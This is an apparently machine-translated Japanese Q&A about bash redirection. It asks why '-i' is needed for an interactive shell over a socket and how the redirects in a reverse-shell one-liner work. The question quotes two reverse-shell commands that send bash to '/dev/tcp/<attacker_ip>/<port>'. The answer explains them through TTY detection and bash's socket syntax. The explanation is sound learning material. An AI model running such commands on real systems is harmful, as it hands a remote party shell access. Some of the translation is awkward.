リダイレクト時のBashインタラクティブモード

リダイレクト時のBashインタラクティブモード

bashについては2つの質問があります。私は逆砲弾と-i旗作業をしています。これを行うと、bash -i > /dev/tcp/ip/port 2>&1 0>&1サーバーシステムに対話型シェルが作成され、ポートを介してnc -lキャプチャされます。ただし、対応するフラグを入力しないと、-iログインではなく非対話型シェルが作成されます。これはこれまでに予想された動作です。ただし、ローカルbashで実行すると、bash -i対話型がデフォルトモードの場合と同じように、両方の対話型の新しいシェルが得られます。 bashなしでリダイレクトするのはインタラクティブでは-iありませんが、ローカルbashはなぜですか?

リダイレクトに関する2番目の質問に関しては、次のライナーを見ましたが、ここに関連するリダイレクトを理解していません。

/bin/bash -i > /dev/tcp/<attacker_ip>/<port> 0<&1 2>&1

私が知る限り、これはbashのstdoutを/ dev / tcp ...にリダイレクトし、stdoutの場所をstdin(0<&1)として受け入れ、stderrをstdout(2>&1)にリダイレクトします。これはリバースシェルをどのように実装しますか? /dev/tcp..の内容をstdinにリダイレクトし、stdoutとエラーをそこにリダイレクトすることはできませんか?

ありがとうございます!

答え1

対話型シェルは、bashのstdinとstderrがターミナルデバイスに接続されているとき(isatty()関数またはいくつかの同等の関数として検出される)デフォルトの動作です。パイプcat | bashを介さずにローカルに何かを入力する場合はTTYで、デフォルトは対話型です。ソケットからリダイレクトする場合はTTYではなく、対話モードに切り替えるには対応するフラグが必要です。

リダイレクトまたはリダイレクトからリダイレクトするときは、実際に/dev/tcp/<ip>/<port>は下のファイルを使用することはありません/dev。 (試してls /dev/tcpみることができますNo such file or directory.)これは実際に許可される特別な構文で、ローカルファイルを開くのではなく指定されたbashソケットを開くようにします。ソケットにはファイルのように「読み取り」または「書き込み」モードがないため、fd 1がソケットの場合、構文とは同じです。ipport0<&10>&1

関連情報